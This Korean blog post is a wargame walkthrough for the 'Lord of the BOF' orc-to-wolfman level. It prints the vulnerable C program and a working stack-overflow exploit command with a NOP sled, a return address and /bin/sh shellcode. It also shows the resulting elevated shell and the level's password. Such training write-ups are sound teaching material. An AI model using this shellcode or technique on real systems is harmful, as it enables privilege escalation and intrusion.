- NEW초롱이의 하루
- kisa
- 길은 가면, 뒤에 있다
- C언어 예술가
- Zer0 day - Zer0 day
- Information Security
- Secure-EDU
- 앙큼한유채's 일상 Story
- Library of Ezbeat (잠정 폐쇄)
- The Factory
- 안드
- 모후모후의 커뮤니티
- 공학도의 잡다한 시선
- 안드2
- IT속에 코코아
- IP주소검색(whois)
- IP주소검색(좌표포함)
- 소프트웨어 경력 관리
- 해저 케이블 지도
- MAC주소검색
- IANA
- 포트번호검색
- 자신의IP확인
- 웹페이퍼캡처
- 나의패스워드보안등급
- 웹 취약점 분석
- IT용어정리
- GitHub
- 라이브러리 모음
- 웹마당넷
- 시스템콜참고
- BCD 변환
- 보안뉴스
- 코딩도장(C, Python)
- 백준알고리즘
- 코딩테스트 연습
- 웹 사이트 테스트
- 스크립트꾸미기
- ctf대회목록
- 전자신문
- hash 크랙
- CVE
- 도메인등록
- N클라우드
- BugBountyList
- 칼리공식사이트
- CR4FTING BOX
- 아스키코드 변환
- 웹 사이트 통계 및 평가
- PDF변환
- AWS 및 클라우드 정보
- 가상화 및 서버관련
- 티오리
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- JSP
- 리눅스
- API
- GPIO
- ACL
- LEVIATHAN
- 네트워크
- Python
- 자바
- Java
- 클라우드
- Linux
- 그라파나
- System
- docker
- 쉘 스크립트
- 쉘 스크립트 if문
- nginx
- 안드로이드
- Shell script
- Android
- RaspberryPi
- centos docker
- 메소드
- 라즈베리파이
- GUI
- synology
- 쉘 스크립트 기초
- Tkinter
- 프로젝트
- Today
- Total
IT창고
[BOF] orc -> wolfman 본문
wolfman문제입니다.
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
argv[1]에 쉘코드를 올리지 못하도록 막혀있습니다. 전 문제에서 사용했던 방법으로 쉘코드를 사용하면 쉽게 해결할수있습니다.
[orc@localhost orc]$ ./wolfman $(python -c 'print "\x90"*44+"\x76\x76\xfe\xbf"') $(python -c 'print "\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\xb0\x0b\x89\xe1\x31\xd2\xcd\x80"')
vvþ¿
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$ mu-pass
sh: mu-pass: command not found
bash$ my-pass
euid = 505
love eyuna
bash$
'WarGame > The Load of the BOF' 카테고리의 다른 글
[BOF] darkelf -> orge (0) | 2018.02.12 |
---|---|
[BOF] wolfman -> darkelf (0) | 2018.02.12 |
[BOF] goblin -> orc (0) | 2018.02.11 |
[BOF] cobolt -> goblin (0) | 2018.02.10 |
[BOF] gremlin -> cobolt (0) | 2018.02.10 |